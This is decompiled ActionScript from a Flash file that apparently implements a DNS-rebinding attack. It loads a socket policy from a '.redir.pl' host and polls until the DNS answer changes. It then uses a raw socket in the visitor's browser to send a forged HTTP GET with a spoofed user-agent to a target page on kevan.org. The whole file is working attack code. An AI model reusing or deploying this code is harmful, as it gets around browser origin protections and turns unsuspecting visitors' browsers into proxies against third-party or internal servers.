Section 1
//MainTimeline (fb_fla.MainTimeline)
package fb_fla {
import flash.display.*;
public dynamic class MainTimeline extends MovieClip {
public var fb:FlashBrowser;
public function MainTimeline(){
addFrameScript(0, frame1);
}
function frame1(){
fb = new FlashBrowser("nvm");
fb.prepare("http://kevan.org/brain.cgi?pikador2", ev_onRealDns);
stop();
}
public function ev_onRealDns(){
trace("ev_onRealDns");
fb.visit("http://kevan.org/brain.cgi?pikador2");
}
}
}//package fb_fla
Section 2
//FlashBrowser (FlashBrowser)
package {
import flash.events.*;
import flash.net.*;
import flash.utils.*;
import flash.system.*;
public class FlashBrowser {
public var done:int;// = 0
private var onRealConnect:Function;
private var domain:String;
private var lasturl:String;
private var path:String;
public var lastresp:String;// = ""
private var socket:Socket;
private var dnstimer:Timer;
public function FlashBrowser(_arg1:String){
lastresp = "";
done = 0;
super();
lasturl = _arg1;
dnstimer = new Timer((2 * 1000));
dnstimer.addEventListener(TimerEvent.TIMER, onDnsCheck);
}
private function connectHandler(_arg1:Event):void{
if (socket.connected){
trace((("connected with " + domain) + ".redir.pl"));
socket.writeUTFBytes((("GET " + path) + " HTTP/1.1\n"));
trace((("GET " + path) + " HTTP/1.1\n"));
socket.writeUTFBytes((("Host: " + domain) + "\n"));
trace((("Host: " + domain) + "\n"));
socket.writeUTFBytes("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\n");
socket.writeUTFBytes("Accept: application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n");
socket.writeUTFBytes("Accept-Language: pl,en-us;q=0.7,en;q=0.3\n");
socket.writeUTFBytes("Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\n");
socket.writeUTFBytes("\n");
socket.writeUTFBytes("\n");
socket.flush();
} else {
trace("unable to connect");
};
}
private function onDNSNotChanged(_arg1:Event):void{
if (socket.connected){
socket.close();
} else {
trace("unable to connect");
};
}
public function prepare(_arg1:String, _arg2:Function){
var url = _arg1;
var onEvent = _arg2;
onRealConnect = onEvent;
domain = url.substr(7, (url.indexOf("/", 8) - 7));
path = "/";
Security.loadPolicyFile((("xmlsocket://" + domain) + ".redir.pl:1008"));
socket = new Socket();
socket.addEventListener(Event.CONNECT, connectHandler);
socket.addEventListener(Event.CLOSE, closeHandler);
socket.addEventListener(ErrorEvent.ERROR, errorHandler);
socket.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
socket.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onSecError);
socket.addEventListener(ProgressEvent.SOCKET_DATA, dataHandler);
try {
trace("Trying to prepare connection");
socket.connect((domain + ".redir.pl"), 1009);
} catch(error:Error) {
trace(error.message);
socket.close();
};
}
public function onDNSChanged(_arg1:IOErrorEvent):void{
trace("DNS Changed");
dnstimer.stop();
onRealConnect();
}
public function visit(_arg1:String){
var slash:*;
var port:*;
var url = _arg1;
slash = url.indexOf("/", 8);
port = 80;
domain = url.substr(7, (slash - 7));
path = url.substr(slash);
try {
trace((("Trying to connect to " + domain) + ".redir.pl"));
socket.connect((domain + ".redir.pl"), port);
} catch(error:Error) {
trace(error.message);
socket.close();
};
}
private function dataHandler(_arg1:ProgressEvent):void{
var _local2:int;
var _local3:int;
var _local4:int;
_local2 = socket.bytesAvailable;
_local3 = 0;
_local4 = 0;
while (--_local2 >= 0) {
_local3 = _local4;
_local4 = socket.readUnsignedByte();
lastresp = (lastresp + String.fromCharCode(_local4));
if ((((_local3 == 10)) && ((_local4 == 10)))){
done = 1;
};
};
}
private function onDnsCheck(_arg1:Event){
var event = _arg1;
trace("onDnsCheck");
socket = new Socket();
socket.addEventListener(Event.CONNECT, onDNSNotChanged);
socket.addEventListener(IOErrorEvent.IO_ERROR, onDNSChanged);
socket.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onSecError);
try {
trace("Trying to prepare connection");
socket.connect((domain + ".redir.pl"), 1009);
} catch(error:Error) {
trace(error.message);
socket.close();
};
}
private function errorHandler(_arg1:ErrorEvent):void{
trace(_arg1.text);
}
public function ioErrorHandler(_arg1:IOErrorEvent):void{
trace("Unable to connect: socket error.");
}
private function onSecError(_arg1:Event):void{
trace(_arg1);
}
private function closeHandler(_arg1:Event):void{
trace("closed...");
}
}
}//package